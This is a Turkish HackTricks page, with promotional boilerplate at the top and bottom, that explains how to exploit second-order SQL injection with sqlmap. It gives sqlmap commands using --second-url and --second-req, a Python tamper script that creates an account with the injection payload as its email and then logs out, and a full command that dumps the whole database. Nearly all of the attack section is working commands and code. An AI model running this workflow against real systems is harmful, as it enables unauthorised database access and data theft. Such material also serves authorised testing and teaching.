5.7 KiB
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
SQLMap, İkinci Derece SQLi'leri sömürebilir.
Sağlamanız gerekenler:
- Sql enjeksiyon yükünün kaydedileceği istek
- Yükün yürütüleceği istek
Sql enjeksiyon yükünün kaydedildiği istek, sqlmap'teki diğer enjeksiyonlar gibi belirtilir. Enjeksiyonun çıktısını/çalışmasını okuyabileceği istek, --second-url
veya bir dosyadan tam bir isteği belirtmeniz gerekiyorsa --second-req
ile belirtilebilir.
Basit ikinci derece örnek:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
Birkaç durumda bu yeterli olmayabilir çünkü farklı bir sayfaya erişmek ve payload göndermek dışında başka eylemler gerçekleştirmeniz gerekebilir.
Bunu gerektiğinde bir sqlmap değiştirici kullanabilirsiniz. Örneğin, aşağıdaki komut dosyası, sqlmap payload'ını e-posta olarak kullanarak yeni bir kullanıcı kaydeder ve oturumu kapatır.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Her zaman bir enjeksiyon denemesiyle başlamadan önce bir SQLMap değiştirici çalıştırılır ve bir payload döndürmesi gerekmektedir. Bu durumda, payload ile ilgilenmiyoruz, ancak bazı istekler göndermekle ilgileniyoruz, bu nedenle payload değiştirilmez.
Bu nedenle, ikinci dereceden SQL enjeksiyonunu sömürmek için daha karmaşık bir akışa ihtiyacımız olduğunda:
- "email" alanı içinde SQLi payload'ını içeren bir hesap oluşturun
- Çıkış yapın
- Bu hesapla giriş yapın (login.txt)
- SQL enjeksiyonunu gerçekleştirmek için bir istek gönderin (second.txt)
Bu sqlmap satırı yardımcı olacaktır:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek isterseniz, ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimizden oluşan koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.